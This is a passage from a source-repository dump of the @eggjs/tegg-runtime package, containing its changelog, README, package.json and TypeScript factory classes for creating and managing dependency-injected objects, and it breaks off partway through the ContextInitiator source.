(2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n\n### Features\n\n* impl MultiInstanceInfo decorator ([#239](https://github.com/eggjs/tegg/issues/239)) ([70d4d95](https://github.com/eggjs/tegg/commit/70d4d95bca4a0c3e11d0d7cc4f292b1315e49e81))\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n\n### Features\n\n* impl getObjectFromName ([#167](https://github.com/eggjs/tegg/issues/167)) ([95843c7](https://github.com/eggjs/tegg/commit/95843c74c201ecdfeb7023e16e3f8348a1cb32ea))\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n\n### Bug Fixes\n\n* verify isEggMultiInstancePrototype before proto exists ([#164](https://github.com/eggjs/tegg/issues/164)) ([db9a621](https://github.com/eggjs/tegg/commit/db9a62159886829de36b831f49f296fe05f0b228))\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n\n### Features\n\n* getObject support MultiInstanceProto ([#161](https://github.com/eggjs/tegg/issues/161)) ([1a24e48](https://github.com/eggjs/tegg/commit/1a24e48cd9a38e906966a21c5f0d1304c4b40d7c))\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n\n### Features\n\n* add helper to get EggObject from class ([#148](https://github.com/eggjs/tegg/issues/148)) ([77eaf38](https://github.com/eggjs/tegg/commit/77eaf38383ad974b30d13f4c30c489fb7fa7274d))\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n# [3.7.0](https://github.com/eggjs/tegg/compare/v3.6.3...v3.7.0) (2023-04-03)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.6.3](https://github.com/eggjs/tegg/compare/v3.6.2...v3.6.3) (2023-03-02)\n\n\n### Bug Fixes\n\n* fix contextEggObjectGetProperty conflict ([#105](https://github.com/eggjs/tegg/issues/105)) ([c570315](https://github.com/eggjs/tegg/commit/c570315ece6ef7443ecf3df2b45aa8c934a5aa38))\n\n\n\n\n\n# [3.5.0](https://github.com/eggjs/tegg/compare/v3.4.1...v3.5.0) (2023-02-10)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.3.1](https://github.com/eggjs/tegg/compare/v3.3.0...v3.3.1) (2023-01-28)\n\n\n### Bug Fixes\n\n* inject property should be configurable ([#85](https://github.com/eggjs/tegg/issues/85)) ([c13ab55](https://github.com/eggjs/tegg/commit/c13ab55d7b483a5c4a6e4293a6095aa98d070a8b))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n## [3.2.1](https://github.com/eggjs/tegg/compare/v3.2.0...v3.2.1) (2022-12-28)\n\n\n### Bug Fixes\n\n* fix nest inject ctx obj to singleton obj ([#74](https://github.com/eggjs/tegg/issues/74)) ([e4b6252](https://github.com/eggjs/tegg/commit/e4b6252aa79925e16185e568bf7b220f367253ab))\n\n\n\n\n\n# [3.1.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.1.0) (2022-12-27)\n\n\n### Bug Fixes\n\n* inject context proto to singleton proto ([#72](https://github.com/eggjs/tegg/issues/72)) ([fcc0b2b](https://github.com/eggjs/tegg/commit/fcc0b2b48fc9bce580c1f2bcfcc38039ae909951))\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [3.0.0](https://github.com/eggjs/tegg/compare/v3.0.0-alpha.0...v3.0.0) (2022-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n\n\n\n\n\n# [3.0.0-alpha.0](https://github.com/eggjs/tegg/compare/v1.3.0...v3.0.0-alpha.0) (2022-12-22)\n\n\n### Features\n\n* **break:** use async local storage ([#69](https://github.com/eggjs/tegg/issues/69)) ([772aeb9](https://github.com/eggjs/tegg/commit/772aeb9412c6d7cd23560230b441161ba28ffa0e))\n\n\n\n\n\n# [1.3.0](https://github.com/eggjs/tegg/compare/v1.2.0...v1.3.0) (2022-07-01)\n\n\n### Features\n\n* allow inject proto and name ([#40](https://github.com/eggjs/tegg/issues/40)) ([abd1766](https://github.com/eggjs/tegg/commit/abd17665af2528c4c2e33f4c6b0fceddd8a4e76b))\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-runtime\n"
  },
  {
    "path": "tegg/core/runtime/README.md",
    "content": "# `@eggjs/tegg-runtime`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/tegg-runtime.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/tegg-runtime.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/tegg-runtime\n[snyk-image]: https://snyk.io/test/npm/@eggjs/tegg-runtime/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/tegg-runtime\n[download-image]: https://img.shields.io/npm/dm/@eggjs/tegg-runtime.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/tegg-runtime\n\n# Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/runtime/package.json",
    "content": "{\n  \"name\": \"@eggjs/tegg-runtime\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg runtime\",\n  \"keywords\": [\n    \"egg\",\n    \"runtime\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/runtime\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/runtime\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/lifecycle\": \"workspace:*\",\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/factory/EggContainerFactory.ts",
    "content": "import { debuglog } from 'node:util';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { EggPrototypeFactory } from '@eggjs/metadata';\nimport { NameUtil } from '@eggjs/tegg-common-util';\nimport type {\n  ContainerGetMethod,\n  EggContainer,\n  EggObject,\n  EggObjectName,\n  EggProtoImplClass,\n  EggPrototype,\n  LifecycleContext,\n  ObjectInitTypeLike,\n  QualifierInfo,\n} from '@eggjs/tegg-types';\n\nimport type { ContextInitiator as ContextInitiatorType } from '../impl/ContextInitiator.ts';\nimport { ContextHandler } from '../model/ContextHandler.ts';\n\nconst debug = debuglog('tegg/core/runtime/EggContainerFactory');\n\nexport class EggContainerFactory {\n  private static containerGetMethodMap: Map<ObjectInitTypeLike, ContainerGetMethod> = new Map();\n  private static ContextInitiatorClass: typeof ContextInitiatorType;\n\n  static registerContainerGetMethod(initType: ObjectInitTypeLike, method: ContainerGetMethod): void {\n    if (debug.enabled) {\n      debug(\n        'registerContainerGetMethod %o %o, exists: %s',\n        initType,\n        method.toString(),\n        this.containerGetMethodMap.has(initType),\n      );\n    }\n    this.containerGetMethodMap.set(initType, method);\n  }\n\n  static getContainer(proto: EggPrototype): EggContainer<LifecycleContext> {\n    const method = this.containerGetMethodMap.get(proto.initType);\n    if (!method) {\n      throw new Error(`InitType ${proto.initType} has not register ContainerGetMethod`);\n    }\n    return method(proto);\n  }\n\n  /**\n   * get or create egg object\n   * If get singleton egg object in context,\n   * will create context egg object for it.\n   */\n  static async getOrCreateEggObject(proto: EggPrototype, name?: EggObjectName): Promise<EggObject> {\n    const container = this.getContainer(proto);\n    name = name || proto.name;\n    const obj = await container.getOrCreateEggObject(name, proto);\n    const ctx = ContextHandler.getContext();\n    if (ctx) {\n      if (!EggContainerFactory.ContextInitiatorClass) {\n        // Dependency cycle between ContextInitiator and EggContainerFactory\n        const { ContextInitiator } = await import('../impl/ContextInitiator.js');\n        debug('import ContextInitiator to fix dependency cycle');\n        EggContainerFactory.ContextInitiatorClass = ContextInitiator;\n      }\n      const initiator = EggContainerFactory.ContextInitiatorClass.createContextInitiator(ctx);\n      await initiator.init(obj);\n      debug('getOrCreateEggObject with context eggObject:%o, from proto:%o, name:%s', obj.name, proto.name, name);\n    } else {\n      debug(\n        'getOrCreateEggObject without context, get eggObject:%o, from proto:%o, name:%s',\n        obj.name,\n        proto.name,\n        name,\n      );\n    }\n    return obj;\n  }\n\n  /**\n   * get or create egg object from the Class\n   * If get singleton egg object in context,\n   * will create context egg object for it.\n   */\n  static async getOrCreateEggObjectFromClazz(\n    clazz: EggProtoImplClass,\n    name?: EggObjectName,\n    qualifiers?: QualifierInfo[],\n  ): Promise<EggObject> {\n    let proto = PrototypeUtil.getClazzProto(clazz as EggProtoImplClass) as EggPrototype | undefined;\n    const isMultiInstance = PrototypeUtil.isEggMultiInstancePrototype(clazz as EggProtoImplClass);\n    debug('getOrCreateEggObjectFromClazz:%o, isMultiInstance:%s, proto:%o', clazz.name, isMultiInstance, !!proto);\n    if (isMultiInstance) {\n      const defaultName = NameUtil.getClassName(clazz as EggProtoImplClass);\n      name = name ?? defaultName;\n      proto = EggPrototypeFactory.instance.getPrototype(name, undefined, qualifiers);\n    } else if (proto) {\n      name = name ?? proto.name;\n    }\n    if (!proto) {\n      debug(\n        'getOrCreateEggObjectFromClazz:%o not found, eggObjectName:%s, qualifiers:%o, proto:%o, isMultiInstance:%s',\n        clazz.name,\n        name,\n        qualifiers,\n        proto,\n        isMultiInstance,\n      );\n      throw new Error(`can not get proto for clazz ${clazz.name}`);\n    }\n    return await this.getOrCreateEggObject(proto, name);\n  }\n\n  /**\n   * get or create egg object from the Name\n   * If get singleton egg object in context,\n   * will create context egg object for it.\n   */\n  static async getOrCreateEggObjectFromName(name: EggObjectName, qualifiers?: QualifierInfo[]): Promise<EggObject> {\n    const proto = EggPrototypeFactory.instance.getPrototype(name, undefined, qualifiers);\n    if (!proto) {\n      throw new Error(`can not get proto for clazz ${String(name)}`);\n    }\n    return await this.getOrCreateEggObject(proto, name);\n  }\n\n  static getEggObject(proto: EggPrototype, name?: EggObjectName): EggObject {\n    const container = this.getContainer(proto);\n    name = name || proto.name;\n    return container.getEggObject(name, proto);\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/factory/EggObjectFactory.ts",
    "content": "import { LoadUnitFactory } from '@eggjs/metadata';\nimport type {\n  CreateObjectMethod,\n  EggObject,\n  EggObjectLifeCycleContext,\n  EggObjectName,\n  EggPrototype,\n  EggPrototypeClass,\n} from '@eggjs/tegg-types';\n\nimport { EggObjectImpl } from '../impl/EggObjectImpl.ts';\nimport { EggObjectLifecycleUtil } from '../model/EggObject.ts';\nimport { LoadUnitInstanceFactory } from './LoadUnitInstanceFactory.ts';\n\ninterface EggObjectPair {\n  obj: EggObject;\n  ctx: EggObjectLifeCycleContext;\n}\n\nexport class EggObjectFactory {\n  static eggObjectMap: Map<string, EggObjectPair> = new Map();\n  static eggObjectCreateMap: Map<EggPrototypeClass, CreateObjectMethod> = new Map();\n\n  public static registerEggObjectCreateMethod(protoClass: EggPrototypeClass, method: CreateObjectMethod): void {\n    this.eggObjectCreateMap.set(protoClass, method);\n  }\n\n  public static getEggObjectCreateMethod(protoClass: EggPrototypeClass): CreateObjectMethod {\n    if (this.eggObjectCreateMap.has(protoClass)) {\n      return this.eggObjectCreateMap.get(protoClass)!;\n    }\n    return EggObjectImpl.createObject;\n  }\n\n  static async createObject(name: EggObjectName, proto: EggPrototype): Promise<EggObject> {\n    const loadUnit = LoadUnitFactory.getLoadUnitById(proto.loadUnitId);\n    if (!loadUnit) {\n      throw new Error(`not found load unit ${proto.loadUnitId}`);\n    }\n    const loadUnitInstance = LoadUnitInstanceFactory.getLoadUnitInstance(loadUnit);\n    const lifecycleContext: EggObjectLifeCycleContext = {\n      loadUnit,\n      loadUnitInstance: loadUnitInstance!,\n    };\n    const method = this.getEggObjectCreateMethod(proto.constructor as EggPrototypeClass);\n    const args = [name, proto, lifecycleContext];\n    const obj = await Reflect.apply(method, null, args);\n    this.eggObjectMap.set(obj.id, { obj, ctx: lifecycleContext });\n    return obj;\n  }\n\n  static async destroyObject(obj: EggObject): Promise<void> {\n    const { ctx } = this.eggObjectMap.get(obj.id)!;\n    try {\n      if (obj.destroy) {\n        await obj.destroy(ctx);\n      }\n    } finally {\n      this.eggObjectMap.delete(obj.id);\n      EggObjectLifecycleUtil.clearObjectLifecycle(obj);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/runtime/src/factory/LoadUnitInstanceFactory.ts",
    "content": "import { IdenticalUtil } from '@eggjs/lifecycle';\nimport { ObjectInitType } from '@eggjs/tegg-types';\nimport type {\n  EggLoadUnitTypeLike,\n  EggPrototype,\n  LoadUnit,\n  LoadUnitInstance,\n  LoadUnitInstanceLifecycleContext,\n} from '@eggjs/tegg-types';\n\nimport { LoadUnitInstanceLifecycleUtil } from '../model/LoadUnitInstance.ts';\nimport { EggContainerFactory } from './EggContainerFactory.ts';\n\ntype LoadUnitInstanceCreator = (ctx: LoadUnitInstanceLifecycleContext) => LoadUnitInstance;\ninterface LoadUnitInstancePair {\n  instance: LoadUnitInstance;\n  ctx: LoadUnitInstanceLifecycleContext;\n}\n\nexport class LoadUnitInstanceFactory {\n  private static creatorMap: Map<EggLoadUnitTypeLike, LoadUnitInstanceCreator> = new Map();\n  private static instanceMap: Map<string, LoadUnitInstancePair> = new Map();\n\n  static registerLoadUnitInstanceClass(type: EggLoadUnitTypeLike, creator: LoadUnitInstanceCreator): void {\n    this.creatorMap.set(type, creator);\n  }\n\n  static async createLoadUnitInstance(loadUnit: LoadUnit): Promise<LoadUnitInstance> {\n    const creator = this.creatorMap.get(loadUnit.type);\n    if (!creator) {\n      throw new Error(`load unit instance type ${loadUnit.type} is not implement`);\n    }\n    const instanceId = IdenticalUtil.createLoadUnitInstanceId(loadUnit.id);\n    if (!this.instanceMap.has(instanceId)) {\n      const ctx: LoadUnitInstanceLifecycleContext = {\n        loadUnit,\n      };\n      const instance = creator(ctx);\n      this.instanceMap.set(instanceId, { instance, ctx });\n      if (instance.init) {\n        // Module init method will create egg object\n        // When inject objects, will find load unit instance\n        // so should add instance to instanceMap first\n        await instance.init(ctx);\n      }\n    }\n    return this.instanceMap.get(instanceId)!.instance;\n  }\n\n  static getLoadUnitInstance(loadUnit: LoadUnit): LoadUnitInstance | undefined {\n    const instanceId = IdenticalUtil.createLoadUnitInstanceId(loadUnit.id);\n    return this.instanceMap.get(instanceId)?.instance;\n  }\n\n  static async destroyLoadUnitInstance(loadUnitInstance: LoadUnitInstance): Promise<void> {\n    const { ctx } = this.instanceMap.get(loadUnitInstance.id)!;\n    await LoadUnitInstanceLifecycleUtil.objectPreDestroy(ctx, loadUnitInstance);\n    if (loadUnitInstance.destroy) {\n      await loadUnitInstance.destroy(ctx);\n    }\n    this.instanceMap.delete(loadUnitInstance.id);\n    LoadUnitInstanceLifecycleUtil.clearObjectLifecycle(loadUnitInstance);\n  }\n\n  static getLoadUnitInstanceByProto(proto: EggPrototype): LoadUnitInstance {\n    for (const { instance } of this.instanceMap.values()) {\n      if (instance.loadUnit.containPrototype(proto)) {\n        return instance;\n      }\n    }\n    throw new Error(`not found load unit for proto ${proto.id}`);\n  }\n}\n\nEggContainerFactory.registerContainerGetMethod(ObjectInitType.SINGLETON, (proto: EggPrototype) => {\n  return LoadUnitInstanceFactory.getLoadUnitInstanceByProto(proto);\n});\n"
  },
  {
    "path": "tegg/core/runtime/src/factory/index.ts",
    "content": "export * from './EggContainerFactory.ts';\nexport * from './EggObjectFactory.ts';\nexport * from './LoadUnitInstanceFactory.ts';\n"
  },
  {
    "path": "tegg/core/runtime/src/impl/ContextInitiator.ts",
    "content": "import { LoadUnitFactory } from '@eggjs/metadata';\nimport type { EggRuntimeContext, EggObject } from '@eggjs/tegg-types';\n\nimport { EggContainerFactory } from '../factory/EggContainerFactory.ts';\nimport { ContextObjectGraph } from './ContextObjectGraph.ts';\n\nconst CONTEXT_INITIATOR = Symbol('EggContext#ContextInitiator');\n\nexport class ContextInitiator {\n  private readonly eggContext: EggRuntimeContext;\n  private readonly eggObjectInitRecorder: WeakMap<EggObject, boolean>;\n  private readonly eggObjectInitPromise: WeakMap<EggObject, Promise<void[]>>;\n\n  constructor(eggContext: EggRuntimeContext) {\n    this.eggContext = eggContext;\n    this.eggObjectInitRecorder = new WeakMap();\n    this.eggObjectInitPromise = new WeakMap();\n    this.eggContext.set(CONTEXT_INITIATOR, this);\n  }\n\n  async init(obj: EggObject): Promise<void> {\n    if (this.eggObjectInitRecorder.get(obj) === true) {\n      if (this.eggObjectInitPromise.has(obj)) {\n        await this.eggObjectInitPromise.get(obj);\n      }\n      return;\n    }\n    this.eggObjectInitRecorder.set(obj, true);\n    const injectObjectProtos = ContextObjectGraph.getContextProto(obj.proto);\n    const initPromise = Promise.all(\n      injectObjectProtos.map(async (injectObject) => {\n        const proto = injectObject.proto;\n        const 